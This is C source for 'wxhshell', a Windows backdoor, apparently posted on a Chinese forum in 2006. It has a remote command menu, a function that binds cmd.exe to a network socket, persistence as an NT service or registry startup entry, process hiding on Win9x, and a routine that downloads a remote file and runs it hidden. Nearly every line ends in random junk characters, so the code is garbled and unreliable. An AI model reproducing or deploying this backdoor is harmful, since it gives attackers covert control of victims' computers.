  // 帮助 `DPR >dd@  
  case '?': { /P3s.-sL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Pqm)OZE?  
    break; &`J?`l X  
  } p>@S61 & [  
  // 安装 `bF] O"  
  case 'i': { Y?>us  
    if(Install()) AZTn!hrU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _p`@/[(|  
    else s"solPw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bG6<=^  
    break; &RP}w%I1  
    } \1p5$0z  
  // 卸载 f YuM`O  
  case 'r': { ^sjL@.'m$N  
    if(Uninstall()) j2/3NF5&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sUP !'Av  
    else @~l?hf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P_w\d/3  
    break; X;?Z_3I:5  
    } 7JNy;$]/  
  // 显示 wxhshell 所在路径 2m?!!We q  
  case 'p': { o-D,K dY  
    char svExeFile[MAX_PATH]; Iu -CXc  
    strcpy(svExeFile,"\n\r"); AIXvS*Y,  
      strcat(svExeFile,ExeFile); _\tGmME37  
        send(wsh,svExeFile,strlen(svExeFile),0); GK/Q]}Q8pZ  
    break; n*oa J<o%  
    } ", :Ta|  
  // 重启 X}5aE4K/  
  case 'b': { d$G<g78D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XI*_ti  
    if(Boot(REBOOT)) C;jV{sb9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q#i^<WUpg  
    else { _x.D< n=X  
    closesocket(wsh); g}-Ch#  
    ExitThread(0); P"g Y|}|  
    } CY4_=  
    break; |=frsf~?  
    } R;XR?59:.  
  // 关机 dLSnhZ  
  case 'd': { B az:N 6u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s\`Vr;R:|  
    if(Boot(SHUTDOWN)) |;-,(509  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jbHk  
    else { 2 8j=q-9Z  
    closesocket(wsh); `37GVo4  
    ExitThread(0); | 3`qT#p{  
    } ; YaR|)B  
    break; lK? Z38  
    } / h6(!-"  
  // 获取shell Z`?<Ada  
  case 's': { Jb~-)n2  
    CmdShell(wsh); E00zf3Jgv'  
    closesocket(wsh); UEq;}4Bo  
    ExitThread(0); Ohm>^N;  
    break; >q&Q4E0  
  } (Jw[}&+  
  // 退出 ZHs hg`I`  
  case 'x': { Te8BFcJG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); id-VoHd K  
    CloseIt(wsh); !j(KbAhWZ  
    break; MGO.dRy_  
    } c#G]3vTdE  
  // 离开 n(Up?_  
  case 'q': { $l&&y?()  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~?}/L'q!b  
    closesocket(wsh); }eX_p6bBw  
    WSACleanup(); X*~NE\  
    exit(1); @Y>3-,o,S  
    break; +fhyw{  
        } vII8>x%*  
  } RZfC ?  
  } _^RN C)ol  
>5Zp x8W  
  // 提示信息 ^gFjm~2I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7F-b/AdVq  
} g)'tr '  
  } K.2M=Q  
%f;(  
  return; r2T?LO0N{  
}  =&fBmV  
F_~-o,\  
// shell模块句柄 JXeqVKF  
int CmdShell(SOCKET sock) YF{K9M!  
{ -aNTFt~|[  
STARTUPINFO si; 9ok|]d P  
ZeroMemory(&si,sizeof(si)); R7KQ-+Zb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bIm$7a`T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ZW2#'$b  
PROCESS_INFORMATION ProcessInfo; K74oRKv  
char cmdline[]="cmd"; .;tO;j |6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yj$S?B Ee  
  return 0; p _e-u-  
} q rbF@{  
hkgPC-  
// 自身启动模式 6\,^MI  
int StartFromService(void) A!k}  
{ =D xJt7J1  
typedef struct y`Pp"!P"O  
{ ~~1~_0?e  
  DWORD ExitStatus; Y%:p(f<  
  DWORD PebBaseAddress; lSyp k-c  
  DWORD AffinityMask; 9L#B"lh  
  DWORD BasePriority; )C2d)(baEJ  
  ULONG UniqueProcessId; 1|w,Z+/  
  ULONG InheritedFromUniqueProcessId;  ioi  
}   PROCESS_BASIC_INFORMATION; oz5o=gt7  
LO61J_J<  
PROCNTQSIP NtQueryInformationProcess; &SN$D5U'  
d L%E0o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i`] M2Q   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,:\2Lf  
l3MbCBX2  
  HANDLE             hProcess; qd|*vE  
  PROCESS_BASIC_INFORMATION pbi; &`L5UX  
s*CKFEb#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G P1>h.J  
  if(NULL == hInst ) return 0; a`pY&xq::  
eZHzo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Awx:lw.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0K3FH&.%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ($(1KE  
*vAOUqX`x  
  if (!NtQueryInformationProcess) return 0; g&0GO:F`  
4_.k Q"'DH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J|FyY)_  
  if(!hProcess) return 0; &< Gq-IN  
1]>KuXd r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >!)VkDAG  
P)ZSxU  
  CloseHandle(hProcess); jZ D\u%  
aJ)5DlfLR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V2FE|+R%g  
if(hProcess==NULL) return 0; M<$l&%<`G  
` `;$Kr  
HMODULE hMod; ') 1sw%[2  
char procName[255]; peqFa._W  
unsigned long cbNeeded; H9)uni   
''v1Pv-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d7^XP  
8e\v5K9  
  CloseHandle(hProcess); _&%!4n#>  
e4)g F*  
if(strstr(procName,"services")) return 1; // 以服务启动 sId5pY!  
aq5<Ks`r  
  return 0; // 注册表启动 93WYZNpX  
} ~v54$#CB  
iz^wBQ  
// 主模块 R-Fi`#PG2  
int StartWxhshell(LPSTR lpCmdLine) *>'R R<  
{ ABHZ)OM  
  SOCKET wsl; Lv^j l  
BOOL val=TRUE; x b0+4w|  
  int port=0; }\0"gM  
  struct sockaddr_in door; b/K&8C,c  
ai`:HhE  
  if(wscfg.ws_autoins) Install(); =!CuCV7$1O  
2@&|hd=-  
port=atoi(lpCmdLine); nIi_4=Z  
QNJG}Upl  
if(port<=0) port=wscfg.ws_port; #wjBMR%  
.FXQ,7mZ-  
  WSADATA data; f.P( {PN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w%_BX3GTO  
,?d%&3z<a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8_,ZJ9l ;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V[xy9L[#  
  door.sin_family = AF_INET; }[DAk~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G2^DukK.  
  door.sin_port = htons(port); VDPN1+1*  
z>0"T2W y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (;j7 {(  
closesocket(wsl); V]O :;(W_  
return 1; Ur-^X(nL  
} ZkIQ-;wx  
LuqaGy}>-  
  if(listen(wsl,2) == INVALID_SOCKET) { IB6]Wj  
closesocket(wsl); ;?o C=c  
return 1; Km nr }Lp9  
} K?tk&0  
  Wxhshell(wsl); /< :; ^B  
  WSACleanup(); "QF083$  
;dFe >`~  
return 0; VxFy[rP  
``<1Lo@  
} ^"l$p,P+  
Qm.kXlsDI  
// 以NT服务方式启动 0 \#Q;Z2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _-&.=3\1  
{ IID(mmy6 L  
DWORD   status = 0; J7_H.RPa  
  DWORD   specificError = 0xfffffff; !:t9{z{Ixg  
|i`@!NrFL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E&+ ^H on  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6-=_i)kzq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }gW}Vr <  
  serviceStatus.dwWin32ExitCode     = 0; 7asq]Y}<  
  serviceStatus.dwServiceSpecificExitCode = 0; XJzXxhk2  
  serviceStatus.dwCheckPoint       = 0; ".)_kt[  
  serviceStatus.dwWaitHint       = 0; O$H150,Q  
H+;wnI>@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _5T7A><q<  
  if (hServiceStatusHandle==0) return; `aUp&8{  
@,MdvR+a  
status = GetLastError(); cBI )?  
  if (status!=NO_ERROR) t4IJ%#22  
{ =vc5,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '/H(,TM  
    serviceStatus.dwCheckPoint       = 0; AVr!e   
    serviceStatus.dwWaitHint       = 0; jVINc=o  
    serviceStatus.dwWin32ExitCode     = status; K*Jtyy}r  
    serviceStatus.dwServiceSpecificExitCode = specificError; K|G $s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ja;5:=8A5  
    return; Vi#im`@  
  } >>$|,Q-.  
[tzSr=,Cg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  {K9E% ,w  
  serviceStatus.dwCheckPoint       = 0; c Vn+~m_%  
  serviceStatus.dwWaitHint       = 0;  /Xz4q!Ul  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +*J4q5;E[?  
} c2^7"`  
OkZ!ZS h  
// 处理NT服务事件,比如:启动、停止 psC7I E<v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I{zE73  
{ yU|ji?)e  
switch(fdwControl) uB1!*S1f  
{ MI(i%$R-A  
case SERVICE_CONTROL_STOP: 5G!U'.gr  
  serviceStatus.dwWin32ExitCode = 0; f4S@lyYF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {{3H\ rR  
  serviceStatus.dwCheckPoint   = 0; S7a6ntei  
  serviceStatus.dwWaitHint     = 0; C):d9OI?  
  { 4QFOO sNp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pU ]{Z(  
  } ? sW`**j  
  return; $/TA5h  
case SERVICE_CONTROL_PAUSE: ? ~Zrd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M@g gLW  
  break; JJ?ri,  
case SERVICE_CONTROL_CONTINUE: d&bc>Vt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z]TVH8%|k  
  break; ]7t\%_  
case SERVICE_CONTROL_INTERROGATE: z4641q5'm  
  break; 6B/"M-YME  
}; d;SRK @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %-/:ps  
} t4/eB<fP  
_-\s[p5  
// 标准应用程序主函数 ZPsY0IzLo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?0NSjK5ma  
{ Ro]IE|Fv  
%"Q!5qH&  
// 获取操作系统版本 iwJ-<v_:h  
OsIsNt=GetOsVer(); e H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "IG$VjgcB  
wmE,k1G  
  // 从命令行安装 R0mT/h2  
  if(strpbrk(lpCmdLine,"iI")) Install(); &H1D!N  
H}V*<mg w  
  // 下载执行文件 $Q?G*@y  
if(wscfg.ws_downexe) { Zfv(\SI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0Eu$-)  
  WinExec(wscfg.ws_filenam,SW_HIDE); f_h"gZWV  
} )75yv<L2S,  
R%_H\-wo  
if(!OsIsNt) { &NjZD4m`=  
// 如果时win9x,隐藏进程并且设置为注册表启动 b*F~%K^i$  
HideProc(); ~|{)h^]@  
StartWxhshell(lpCmdLine); Vfm #UvA  
} Jf<yTAm  
else q>(u>z!  
  if(StartFromService()) oHXW])[  
  // 以服务方式启动 UUf1T@-  
  StartServiceCtrlDispatcher(DispatchTable); aE+$&_>ef  
else .cS,T<$  
  // 普通方式启动 0aTbzOn&  
  StartWxhshell(lpCmdLine); G\N"rG=  
7]xz8t  
return 0; qm8n7Z/  
}
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只看该作者 1 发表于: 2006-10-10
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